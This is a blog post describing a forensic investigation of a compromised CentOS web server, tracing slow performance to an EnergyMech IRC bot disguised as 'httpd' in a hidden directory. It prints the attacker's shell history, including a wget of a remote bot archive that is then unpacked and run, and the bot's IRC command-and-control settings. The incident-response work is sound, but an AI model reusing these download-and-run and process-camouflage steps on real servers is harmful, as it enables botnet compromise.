A brief and real malware story
This story, real above all else, took place a little over a year before I originally wrote it, and involved a production webserver belonging to an Argentine NGO for which my employer was handling systems and infrastructure maintenance.
What triggered the whole procedure was a phone call from the client reporting that the webserver was intermittently slow, and that we needed to determine the source of the problem.
After dealing with previously assigned tickets, I started working on the case by logging into the machine remotely. The server was hosted in a well-known datacenter in Argentina, and after running the usual performance troubleshooting and observation tools (vmstat to inspect virtual memory, iostat to inspect I/O, and mpstat to inspect CPU), I began reviewing the operating system logs, in this case a CentOS 6.2 x86_64 system. After running dmesg, which logs boot messages as well as kernel messages, I found the following:
[root@foobar ~]# dmesg
TCP: Treason uncloaked! Peer 200.12.207.10:42448/80 shrinks window 1575164376:1575164377. Repaired.
TCP: Treason uncloaked! Peer 200.12.207.10:43144/80 shrinks window 1563760962:1563760963. Repaired.
TCP: Treason uncloaked! Peer 200.12.207.10:43742/80 shrinks window 1577391267:1577391268. Repaired.
printk: 7 messages suppressed.
The first clue was already visible. While this type of message printed by the kernel does not point to the root cause by itself, it does report malformed TCP/IP packets, usually due to a remote host transmission issue or a firewall/NAT problem somewhere in the same segment. If you look closely, you can see the peer IP together with source and destination ports, which lets you infer that the traffic is likely related to a web service over HTTP/TCP port 80.
Whenever networking problems are involved, it is often extremely useful, after checking ethtool, to capture traffic with tools such as tcpdump or snoop on Solaris, looking for malformed packets, retransmissions or checksum errors. In my case I used tcpdump with a filter to reduce the volume of packets shown on screen, leaving out traffic related to port 22, my SSH session, and port 80, the web applications themselves.
[root@foobar ~]# tcpdump -nli eth0 not '(port 22 or port 80)'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
20:58:17.597928 IP 181.116.133.23.arepa-cas > 190.41.80.1000.30000: UDP, length 16
20:58:17.701736 IP 181.238.144.81.arepa-cas > 190.41.80.1000.30000: UDP, length 16
20:58:17.748374 IP 186.122.245.30.arepa-cas > 190.41.80.1000.30000: UDP, length 16
20:58:17.903979 IP 186.122.244.7.arepa-cas > 190.41.80.1000.30000: UDP, length 16
20:58:17.928418 IP 190.41.80.100.33383 > 4.2.2.1.domain: 28636+ A? collector-6.newrelic.com. (42)
20:58:18.073293 IP 186.13.74.121.arepa-cas > 190.41.80.1000.30000: UDP, length 28
20:58:18.179748 IP 4.2.2.1.domain > 190.41.80.100.33383: 28636 1/0/0 A[|domain]
20:58:18.357846 IP 200.81.44.24.48084 > 190.41.80.1000.30000: UDP, length 16
20:58:26.771453 IP 186.12.36.187.3030 > 190.41.80.1000.30000: UDP, length 16
20:58:26.811460 IP 186.158.40.160.3030 > 190.41.80.1000.30000: UDP, length 16
20:58:26.815345 arp who-has 41.41.41.32 tell 41.41.41.1
20:58:26.968061 IP 207.123.37.5 > 41.41.41.35: ICMP echo request, id 9216, seq 25853, length 1400
20:58:27.044933 IP 170.51.184.78.3030 > 190.41.80.1000.30000: UDP, length 16
20:58:31.860908 IP 190.136.174.242.52228 > 190.41.80.1000.30000: UDP, length 28
20:58:31.867993 IP 186.123.191.167.3030 > 190.41.80.1000.30000: UDP, length 16
Even though the capture was much longer, we can already see a large amount of unexpected UDP traffic on the public network interface (eth0), with a DNS query to the public resolver 4.2.2.1 standing out.
I continued the analysis trying to determine what kind of traffic was moving through the server, so I added the -X flag to tcpdump to obtain a hexadecimal/ASCII dump of the packets:
[root@foobar ~]# tcpdump -nnXli eth0 not '(port 22 or port 80)' and not dst net 41.41.41.0/24
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:05:50.642616 IP 190.41.80.100.49621 > 4.2.2.1.53: 13964+ AAAA? Eu.Undernet.Org. (33)
0x0000: 4500 003d 2d2a 4000 4011 e545 c833 5a0a E..=-*@.@..E.3Z.
0x0010: 0402 0201 c1d5 0035 0029 287b 368c 0100 .......5.)({6...
0x0020: 0001 0000 0000 0000 0245 7508 556e 6465 .........Eu.Unde
0x0030: 726e 6574 034f 7267 0000 1c00 01 rnet.Org.....
21:05:50.896247 IP 190.41.80.100.50733 > 4.2.2.1.53: 32542+ AAAA? Eu.Undernet.Org.org.ar. (40)
0x0000: 4500 0044 2e27 4000 4011 e441 c833 5a0a E..D.'@.@..A.3Z.
0x0010: 0402 0201 c62d 0035 0030 2882 7f1e 0100 .....-.5.0(.....
0x0020: 0001 0000 0000 0000 0245 7508 556e 6465 .........Eu.Unde
0x0030: 726e 6574 034f 7267 036f 7267 0261 7200 rnet.Org.org.ar.
0x0040: 001c 0001 ....
21:05:51.244096 IP 190.41.80.100.33539 > 4.2.2.1.53: 47591+ A? Eu.Undernet.Org. (33)
0x0000: 4500 003d 2f83 4000 4011 e2ec c833 5a0a E..=/.@.@....3Z.
0x0010: 0402 0201 8303 0035 0029 287b b9e7 0100 .......5.)({....
0x0020: 0001 0000 0000 0000 0245 7508 556e 6465 .........Eu.Unde
0x0030: 726e 6574 034f 7267 0000 0100 01 rnet.Org.....
21:05:51.493501 IP 190.41.80.100.58065 > 94.125.182.255.6666: S 4011205553:4011205553(0) win 5840 <mss 1460,sackOK,timestamp 3507892349 0,nop,wscale 7>
0x0000: 4500 003c 13cc 4000 4006 ef35 c833 5a0a E..<..@.@..5.3Z.
0x0010: 5e7d b6ff e2d1 1a0a ef16 23b1 0000 0000 ^}........#.....
0x0020: a002 16d0 e83d 0000 0204 05b4 0402 080a .....=..........
0x0030: d116 307d 0000 0000 0103 0307 ..0}........
21:05:51.497494 802.1d unknown version
0x0000: 4242 0300 0002 023c 03b6 0014 1bac 0ac0 BB.....<........
0x0010: 0000 0004 8000 001f c934 33b6 8090 0100 .........43.....
0x0020: 1400 0200 0f00 0000 0000 0000 0000 ..............
This clearly showed that something strange had happened on the machine. We could see DNS resolution requests for A and AAAA records belonging to the domain Undernet.org, which, as you probably know, is an IRC server network.
Botnets commonly use IRC channels as a command-and-control center. Each compromised machine joins that channel, allowing the botnet administrator to coordinate actions across all nodes, such as sending spam or launching DoS/DDoS attacks, among many other things.
Now that we knew what was happening on the server, the important part was to determine who was doing it and which user account had been compromised. After several attempts at inspecting netstat output while searching for DNS-related activity, I found what I needed:
[root@foobar ~]# netstat -putan | grep 4.2.2.1
udp 0 0 190.41.80.100:60954 4.2.2.1:53 ESTABLISHED 25606/httpd
The httpd process was the one issuing DNS queries to 4.2.2.1. The next step was to determine which user was running that httpd.
[root@foobar ~]# ps aux | grep httpd
apache 21404 0.1 0.2 308320 48948 ? S 17:51 0:15 /usr/sbin/httpd
apache 25626 0.1 0.2 294184 34452 ? S 20:46 0:01 /usr/sbin/httpd
apache 25627 0.0 0.2 294160 34428 ? S 20:46 0:01 /usr/sbin/httpd
apache 25628 0.0 0.2 294140 34084 ? S 20:46 0:00 /usr/sbin/httpd
apache 25629 0.1 0.2 294196 34472 ? S 20:46 0:01 /usr/sbin/httpd
apache 25630 0.1 0.2 294984 34952 ? S 20:46 0:01 /usr/sbin/httpd
apache 25631 0.0 0.2 293376 33168 ? S 20:46 0:01 /usr/sbin/httpd
501 30644 0.0 0.0 2212 1004 ? Ss 2012 2:59 httpd
root 31838 0.0 0.0 269720 11760 ? Ss May07 0:02 /usr/sbin/httpd
The suspicious one was the process with UID 501, which had launched httpd directly from its own terminal session. So I checked who that user was:
[root@foobar ~]# grep 501 /etc/passwd
webmaster:x:501:501::/home/webmaster:/bin/bash
So the user webmaster was the one running httpd.
As I mentioned in other posts, every process executed on a Unix-like system gets its own directory under /proc, named after its PID, where we can inspect process-related data such as environment, command name, stack and open file descriptors. So I explored process 30644, mainly trying to determine its environment:
[root@foobar ~]# cd /proc/30644/
HOSTNAME=foobar.org.arTERM=xtermSHELL=/bin/bashHISTSIZE=1000SSH_CLIENT=92.81.171.84 49258 22OLDPWD=/home/webmasterSSH_TTY=/dev/pts/0USER=webmasterLS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:MAIL=/var/spool/mail/webmasterPATH=:/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/webmaster/binINPUTRC=/etc/inputrcPWD=/home/webmaster/.gLANG=es_ES.UTF-8SHLVL=1HOME=/home/webmasterLOGNAME=webmasterSSH_CONNECTION=92.81.171.84 49258 190.41.80.100 22LESSOPEN=|/usr/bin/lesspipe.sh %sG_BROKEN_FILENAMES=1_=./httpd
What we see there is the environment of the regular user webmaster, which, as the SSH_CONNECTION variable shows, had logged in from the IP 92.81.171.84.
As you probably remember, in Unix everything is a file, and Linux is no exception. Every process starts with three mapped file descriptors: standard input (STDIN/FD 0), standard output (STDOUT/FD 1) and standard error (STDERR/FD 2). The /proc filesystem makes those mappings visible. So I inspected the file descriptors opened by process 30644:
[root@foobar 30644]# cd /proc/30644/fd
[root@foobar fd]# ls -al
total 0
dr-x------ 2 webmaster webmaster 0 May 17 20:46 .
dr-xr-xr-x 6 webmaster webmaster 0 May 17 06:00 ..
l-wx------ 1 webmaster webmaster 64 May 17 20:46 0 -> /home/webmaster/.g/LinkEvents
lrwx------ 1 webmaster webmaster 64 May 17 20:46 3 -> socket:[44595140]
What immediately stood out was the standard input (STDIN/FD 0) of process 30644, which pointed to /home/webmaster/.g/LinkEvents, and the socket used for the IRC network connection. So I checked the LinkEvents file:
[root@foobar fd]# cat /home/webmaster/.g/LinkEvents
1342760162 EnergyMech started...
1342769294 New Nick Gabot2___ -> Gabot2
1342769358 New Nick Gabot2__ -> mireasa
1344981802 New Nick mireasa_ -> mireasa
1346226253 New Nick mireasa -> NiGGa-
1346255842 New Nick NiGGa- -> NiGGa
1346323093 New Nick NiGGa__ -> NiGGa
1346328124 New Nick NiGGa__ -> NiGGa
1346595142 New Nick NiGGa__ -> NiGGa
1368829534 New Nick NiGGa_ -> NiGGa
[root@foobar fd]# date -s @1368836165
Fri May 17 21:16:05 ART 2013
That file contained nickname changes on the IRC server used by the botnet client, along with timestamps in Unix time. Converting them to a Gregorian calendar date showed that the activity was recent relative to the original investigation date, May 2013.
It was also obvious that the attacker had created a hidden directory, .g/, with the goal of further hiding the attack from the administrators of the machine. So I explored it:
[root@foobar fd]# cd /home/webmaster/.g/
[root@foobar .g]# pwd && ls -al
/home/webmaster/.g
total 2584
drwxr-xr-x 3 webmaster webmaster 4096 Jul 20 2012 .
drwx------ 3 webmaster webmaster 4096 Jul 20 2012 ..
-rw-r--r-- 1 webmaster webmaster 249 Jul 20 2012 1
-rw-r--r-- 1 webmaster webmaster 249 May 10 19:00 2
-rwxr-xr-x 1 webmaster webmaster 418490 Dec 2 2005 bsd
-rw-r--r-- 1 webmaster webmaster 941 Dec 2 2005 checkmech
-rw-r--r-- 1 webmaster webmaster 23237 May 15 2003 configure
-rw-rw-r-- 1 webmaster webmaster 0 Jul 20 2012 Gabot1.seen
-rw-rw-r-- 1 webmaster webmaster 82401 May 17 09:20 Gabot2.seen
-rwxr-xr-x 1 webmaster webmaster 397274 Dec 2 2005 httpd
-rw-r--r-- 1 webmaster webmaster 1584304 May 17 21:17 LinkEvents
-rw-r--r-- 1 webmaster webmaster 2154 May 15 2003 Makefile
-rw-r--r-- 1 webmaster webmaster 1054 May 17 21:00 m.lev
-rw------- 1 webmaster webmaster 6 Jul 20 2012 m.pid
-rw-rw-r-- 1 webmaster webmaster 2166 May 17 21:00 m.ses
-rw-r--r-- 1 webmaster webmaster 2990 Jan 11 2012 m.set
drwxr-xr-x 2 webmaster webmaster 4096 Jan 15 2008 r
Here, the interesting file was the executable called httpd, which was simply a regular binary with 755 permissions trying to camouflage itself among the real web service processes running on the host. If the server had been hosting FTP sites, that binary probably would have been called ftpd or something similar. The rest of the files corresponded to logs and configuration files of the botnet client.
I kept looking for evidence by exploring the user environment for webmaster, with the first obvious place being ~/.bash_history:
[root@foobar ~]# cat /home/webmaster/bash_history
1 cd smtp
2 chmod +x *
3 ./start 32 100 200
4 cd .x
5 chmod +x *
6 ./sendeb.pl
7 w
8 passwd
9 ps x
10 ls -a
11 cd ldap
12 cd /home/webmaster
13 cd .x
14 cd /home/webmaster
15 ls -a
16 cd ldap
17 ls
18 cat vuln.txt
19 cd /home/webmaster
20 ls
21 rm -rf ldap.tgz
22 rm -rf ldap
23 ps x
24 wget <
25 tar xvf gabor.gz
26 rm -rf gabor.gz
27 cd .g
28 export PATH=:$PATH;httpd
29 w
30 ps x
31 ls -a
32 kill - 9 -1 30362
33 rm -rf .x
34 rm -rf .g
35 wget http://members.lycos.co.uk/tbthathug/gabor.gz
36 tar xvf gabor.gz
37 rm -rf gabor.gz
38 cd .g
39 export PATH=:$PATH;httpd
From that, we can see that once the attacker gained access to the system, they changed the password of the webmaster user in order to secure continued access over SSH, then downloaded http://members.lycos.co.uk/tbthathug/gabor.gz, extracted it, and created a new PATH environment to execute the httpd binary. They obviously forgot to erase ~/.bash_history, although it is also notable that it had been edited.
While continuing to inspect the botnet configuration files under /home/webmaster/.g, I found m.ses, which revealed quite a lot about the IRC connection being used by the client:
[root@foobar .g]# head -n 50 m.ses
linkport -1
hasonotice
nick NiGGa
login nunu
ircname nunu
modes +ix-ws
service x@channels.undernet.org login user pass
cmdchar .
userfile 2
set BANMODES 6
set OPMODES 6
set CTIMEOUT 60
set CDELAY 30
tog SPY 1
channel #crisan
server Budapest.Hu.Eu.Undernet.org 6666
server mesa2.az.us.undernet.org 7000
server SantaAna.CA.US.Undernet.org 6667
server Tampa.FL.US.Undernet.org 6660
server London.UK.Eu.Undernet.Org 6660
server London2.UK.EU.Undernet.Org 6660
server LosAngeles.CA.US.Undernet.org 7000
server newyork.ny.us.undernet.org 7000
server Diemen.NL.EU.Undernet.Org 6660
server Helsinki.FI.EU.Undernet.org 7000
As you can see, the client had a pool of IRC servers from the Undernet network to connect to, specifying its nickname (NiGGa), login (nunu), ircname (nunu) and also the channel it joined: #crisan.
That meant I could connect with an IRC client such as Irssi to #crisan on Budapest.Hu.Eu.Undernet.org:
20:52 tty0 (~0x4141414@foobar.me) has joined #crisan
20:52 Irssi: #crisan: Total of 14 nicks (1 ops, 0 halfops, 0 voices, 13 normal)
20:52 Irssi: Join to #crisan was synced in 1 secs
20:52 < tty0> is somebody here?
20:55 Slim_ (~puya@183.129.173.214) has joined #crisan
20:55 Slim_ (~puya@183.129.173.214) has quit (G-lined (AUTO [1] DNSBL listed. Check www.dronebl.org/lookup_branded?network=UnderNet for removal. Your IP is 183.129.173.214))
Bingo. I had connected to the IRC server where the botnet was being managed, its command-and-control center. There were 12 connected nodes, presumably all clients, and the quit message from Slim_ showed that they were performing DNSBL checks, blacklist lookups used by mail servers to verify whether an IP or domain sending email has already been flagged as a spam source. That suggested the compromised server had likely been used to send spam, and that its IP might already have been in a DNSBL, or on its way there, making delisting potentially necessary.
One of the last things worth knowing was what software had been used to turn the machine into part of that botnet. Inside /home/webmaster/.g there was a file called configure, and its header told the story:
[root@foobar .g]# head -50 configure
# !/bin/sh
#
# EnergyMech, IRC Bot software <--- Just check that: http://www.energymech.net
# Copyright (c) 1997-2001 proton, 2002-2003 emech-dev
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
...
The name, EnergyMech, and its site, http://www.energymech.net/, which at the time was still online, described it briefly like this:
The EnergyMech is a UNIX compatible IRC bot programmed in the C language, freely distributable under GNU General Public License (GPL). On this website you can find the largest EnergyMech resource and help library on the Internet. If you wish to know more about what an EnergyMech can do, please go on to the features page, where the features are described more in detail.
Among its features, according to the project itself, EnergyMech compiled on most Unix systems such as Linux, FreeBSD and Solaris. It was written in C, lightweight and therefore highly portable. It supported scripting languages such as Perl and Python to extend its behavior, consumed very little CPU and memory, which made it easier to camouflage among normal system processes, and it could also function as an IRC proxy.
In the end, the mystery was solved. The only thing left was understanding how they got in.
And well, sometimes web applications are poorly developed, clients do not follow even the minimum security recommendations, and things like this happen more often than they should.
Original source: Codigo Unix